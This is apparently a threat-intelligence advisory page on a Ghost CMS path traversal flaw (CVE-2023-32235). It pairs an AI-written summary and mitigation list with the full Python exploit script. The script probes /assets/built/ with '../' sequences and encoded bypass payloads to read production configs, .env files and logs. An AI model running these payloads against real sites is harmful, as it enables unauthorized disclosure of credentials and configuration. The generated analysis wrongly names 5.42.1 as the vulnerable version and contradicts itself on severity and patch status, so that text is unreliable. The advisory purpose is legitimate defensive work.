Ghost CMS 5.42.1 - Path Traversal
Ghost CMS 5.42.1 - Path Traversal
AI Analysis
Technical Summary
The reported security threat concerns a path traversal vulnerability in Ghost CMS version 5.42.1. Path traversal vulnerabilities allow an attacker to manipulate file paths in web applications to access files and directories outside the intended scope, potentially exposing sensitive data or enabling further attacks. Ghost CMS is a popular open-source content management system primarily used for blogging and publishing. This vulnerability likely arises from insufficient validation or sanitization of user-supplied input that is used to reference files on the server. An attacker exploiting this flaw could craft specially designed requests to traverse directories and access arbitrary files on the server's filesystem. The presence of exploit code written in Python indicates that proof-of-concept or automated exploitation scripts exist, facilitating easier exploitation by attackers. Although no specific affected versions are listed beyond 5.42.1, the vulnerability is tied to this release. No patch links are provided, suggesting that a fix may not yet be publicly available or that the advisory is recent. The lack of known exploits in the wild indicates that active exploitation has not been observed yet, but the availability of exploit code increases the risk of future attacks. Given Ghost CMS's role in managing website content, unauthorized file access could lead to exposure of configuration files, user data, or other sensitive information, and potentially enable remote code execution if critical files are modified or leveraged in chained attacks.
Potential Impact
For European organizations using Ghost CMS 5.42.1, this vulnerability poses a significant risk to the confidentiality and integrity of their web infrastructure. Exploitation could lead to unauthorized disclosure of sensitive information such as database credentials, private keys, or user data stored on the server. This could result in data breaches subject to GDPR regulations, leading to legal and financial repercussions. Additionally, attackers might leverage the vulnerability to escalate privileges or implant malicious code, compromising website availability and trustworthiness. Organizations relying on Ghost CMS for public-facing websites or internal content management could face reputational damage and operational disruption. The medium severity rating suggests that while exploitation is feasible, it may require some level of technical skill or specific conditions. However, the presence of public exploit code lowers the barrier for attackers. European entities in sectors such as media, publishing, education, and SMEs that commonly use Ghost CMS are particularly at risk.
Mitigation Recommendations
1. Immediate upgrade: Organizations should monitor Ghost CMS official channels for patches addressing this vulnerability and apply updates promptly once available. 2. Input validation: Implement strict validation and sanitization of all user-supplied inputs that interact with file paths, ensuring that directory traversal characters (e.g., '../') are properly handled or blocked. 3. Web application firewall (WAF): Deploy or update WAF rules to detect and block path traversal attempts targeting Ghost CMS endpoints. 4. Least privilege: Ensure that the web server and CMS processes run with minimal permissions, restricting access to sensitive files and directories. 5. File system segmentation: Store sensitive configuration and data files outside the web root or in protected directories inaccessible via the web server. 6. Monitoring and logging: Enable detailed logging of web requests and monitor for suspicious patterns indicative of path traversal exploitation attempts. 7. Incident response readiness: Prepare to respond quickly to any detected exploitation attempts, including isolating affected systems and conducting forensic analysis.
Affected Countries
United Kingdom, Germany, France, Netherlands, Sweden, Italy, Spain, Poland
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.42.1 - Path Traversal # Date: 2023-06-15 # Exploit Author:ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.42.1 # Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur # CVE: CVE-2023-32235 # Category: Web Application Security # CVSS Score: 7.5 (High) # Description: # Ghost CMS before version 5.42.1 contains a path traversal vulnerability that allows # remote attackers to read arbitrary files within the active theme's folder structure. # The vulnerability exists in the /assets/built/ endpoint which improperly handles # directory traversal sequences (../../) allowing unauthorized file access. # This can lead to disclosure of sensitive configuration files, environment variables, # and other critical application data. # Impact: # - Unauthorized file disclosure # - Potential exposure of configuration files # - Information gathering for further attacks # - Possible credential harvesting # Requirements: requests>=2.28.1 """ import requests import sys import urllib.parse from typing import Dict, List, Tuple, Optional class ExploitResult: def __init__(self): self.success = False self.payload = "" self.response = "" self.status_code = 0 self.description = "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built/../..// directory traversal" self.severity = "High" class PathTraversalExploit: def __init__(self, target_url: str, verbose: bool = True): self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'Accept': '*/*', 'Cache-Control': 'no-cache', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def exploit(self) -> ExploitResult: result = ExploitResult() # path traversal payloads targeting Ghost CMS specific files payloads = [ {"path": "../../package.json", "description": "Main package.json with dependencies", "sensitive": True}, {"path": "../../../package.json", "description": "Root package.json", "sensitive": True}, {"path": "../../config.production.json", "description": "Production configuration", "sensitive": True}, {"path": "../../config.development.json", "description": "Development configuration", "sensitive": True}, {"path": "../../.env", "description": "Environment variables", "sensitive": True}, {"path": "../../../.env", "description": "Root environment file", "sensitive": True}, {"path": "../../content/settings/routes.yaml", "description": "Routes configuration", "sensitive": False}, {"path": "../../content/logs/ghost.log", "description": "Ghost application logs", "sensitive": False}, {"path": "../../README.md", "description": "Documentation file", "sensitive": False}, {"path": "../../yarn.lock", "description": "Yarn lock file", "sensitive": False}, {"path": "../../package-lock.json", "description": "NPM lock file", "sensitive": False}, {"path": "../../../Dockerfile", "description": "Docker configuration", "sensitive": False}, {"path": "../../../docker-compose.yml", "description": "Docker compose file", "sensitive": False} ] for payload in payloads: target_url = f"{self.target_url}/assets/built/{payload['path']}" if self.verbose: print(f"[*] Testing path traversal: {payload['path']}") try: response = self.session.get(target_url, timeout=10) if response.status_code == 200 and len(response.text) > 0: if self._detect_file_read_success(response.text, payload['path']): result.success = True result.payload = payload['path'] result.response = response.text result.status_code = response.status_code if payload['sensitive']: result.severity = "Critical" if self.verbose: print(f"[+] Successfully exploited path traversal: {payload['path']}") print(f"[+] File content preview: {response.text[:200]}") return result except requests.RequestException as e: if self.verbose: print(f"[-] Request failed for {payload['path']}: {e}") continue # If no direct file read, try alternative bypass techniques if not result.success: self._try_path_traversal_bypasses(result) return result def _try_path_traversal_bypasses(self, result: ExploitResult): """Try various bypass techniques for path traversal""" bypass_payloads = [ "..%2f..%2fpackage.json", # URL encoded "..%252f..%252fpackage.json", # Double URL encoded "....//....//package.json", # Double dot bypass "..\\\\..\\\\package.json", # Windows style ".%2e/.%2e/package.json", # Mixed encoding "..%c0%af..%c0%afpackage.json", # UTF-8 overlong encoding ] for payload in bypass_payloads: target_url = f"{self.target_url}/assets/built/{payload}" try: response = self.session.get(target_url, timeout=10) if response.status_code == 200 and self._detect_file_read_success(response.text, payload): result.success = True result.payload = payload result.response = response.text result.status_code = response.status_code if self.verbose: print(f"[+] Path traversal successful using encoding bypass: {payload}") break except requests.RequestException: continue def _detect_file_read_success(self, body: str, payload: str) -> bool: """Check if the response indicates successful file read""" # Check for common file content indicators file_indicators = { "package.json": ['"name"', '"version"', '"dependencies"', '"scripts"'], ".env": ["DATABASE_URL", "NODE_ENV", "GHOST_", "="], "config": ['"database"', '"server"', '"url"', '"mail"'], "routes.yaml": ["routes:", "collections:", "taxonomies:"], "ghost.log": ["INFO", "ERROR", "WARN", "Ghost"], "README": ["#", "##", "Ghost", "installation"], "Dockerfile": ["FROM", "RUN", "COPY", "EXPOSE"], "docker-compose": ["version:", "services:", "ghost:"] } # Check specific file type indicators for file_type, indicators in file_indicators.items(): if file_type.lower() in payload.lower(): for indicator in indicators: if indicator in body: return True # Generic file content indicators generic_indicators = ["{", "}", "[", "]", ":", "=", "version", "name", "description"] count = sum(1 for indicator in generic_indicators if indicator in body) # If multiple generic indicators found, likely a valid file return count >= 3 def main(): if len(sys.argv) < 2: print("Usage: python3 CVE-2023-32235.py <target_url>") print("Example: python3 CVE-2023-32235.py http://target.com") return exploit = PathTraversalExploit(sys.argv[1], verbose=True) result = exploit.exploit() print("\n=== CVE-2023-32235 Path Traversal Exploit Results ===") print(f"Target: {exploit.target_url}") print(f"Success: {result.success}") print(f"Severity: {result.severity}") print(f"Description: {result.description}") if result.success: print(f"Payload: {result.payload}") print(f"Status Code: {result.status_code}") print(f"Response Preview: {result.response[:500]}") else: print("Exploit failed - target may not be vulnerable") if __name__ == "__main__": main()
Ghost CMS 5.42.1 - Path Traversal
Description
Ghost CMS 5.42.1 - Path Traversal
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a path traversal vulnerability in Ghost CMS version 5.42.1. Path traversal vulnerabilities allow an attacker to manipulate file paths in web applications to access files and directories outside the intended scope, potentially exposing sensitive data or enabling further attacks. Ghost CMS is a popular open-source content management system primarily used for blogging and publishing. This vulnerability likely arises from insufficient validation or sanitization of user-supplied input that is used to reference files on the server. An attacker exploiting this flaw could craft specially designed requests to traverse directories and access arbitrary files on the server's filesystem. The presence of exploit code written in Python indicates that proof-of-concept or automated exploitation scripts exist, facilitating easier exploitation by attackers. Although no specific affected versions are listed beyond 5.42.1, the vulnerability is tied to this release. No patch links are provided, suggesting that a fix may not yet be publicly available or that the advisory is recent. The lack of known exploits in the wild indicates that active exploitation has not been observed yet, but the availability of exploit code increases the risk of future attacks. Given Ghost CMS's role in managing website content, unauthorized file access could lead to exposure of configuration files, user data, or other sensitive information, and potentially enable remote code execution if critical files are modified or leveraged in chained attacks.
Potential Impact
For European organizations using Ghost CMS 5.42.1, this vulnerability poses a significant risk to the confidentiality and integrity of their web infrastructure. Exploitation could lead to unauthorized disclosure of sensitive information such as database credentials, private keys, or user data stored on the server. This could result in data breaches subject to GDPR regulations, leading to legal and financial repercussions. Additionally, attackers might leverage the vulnerability to escalate privileges or implant malicious code, compromising website availability and trustworthiness. Organizations relying on Ghost CMS for public-facing websites or internal content management could face reputational damage and operational disruption. The medium severity rating suggests that while exploitation is feasible, it may require some level of technical skill or specific conditions. However, the presence of public exploit code lowers the barrier for attackers. European entities in sectors such as media, publishing, education, and SMEs that commonly use Ghost CMS are particularly at risk.
Mitigation Recommendations
1. Immediate upgrade: Organizations should monitor Ghost CMS official channels for patches addressing this vulnerability and apply updates promptly once available. 2. Input validation: Implement strict validation and sanitization of all user-supplied inputs that interact with file paths, ensuring that directory traversal characters (e.g., '../') are properly handled or blocked. 3. Web application firewall (WAF): Deploy or update WAF rules to detect and block path traversal attempts targeting Ghost CMS endpoints. 4. Least privilege: Ensure that the web server and CMS processes run with minimal permissions, restricting access to sensitive files and directories. 5. File system segmentation: Store sensitive configuration and data files outside the web root or in protected directories inaccessible via the web server. 6. Monitoring and logging: Enable detailed logging of web requests and monitor for suspicious patterns indicative of path traversal exploitation attempts. 7. Incident response readiness: Prepare to respond quickly to any detected exploitation attempts, including isolating affected systems and conducting forensic analysis.
Affected Countries
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Technical Details
- Edb Id
- 52408
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Ghost CMS 5.42.1 - Path Traversal
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.42.1 - Path Traversal # Date: 2023-06-15 # Exploit Author:ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.42.1 # Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur # CVE: CVE-2023-32235 # Category: Web Application Security # CVSS Score: 7.5 (High) # Description: # Ghost CMS before version 5.42.1 contains a path trave... (8306 more characters)
Threat ID: 689a95b8ad5a09ad002b096c
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 9/26/2025, 1:17:58 AM
Last updated: 9/28/2025, 5:43:32 AM
Views: 22
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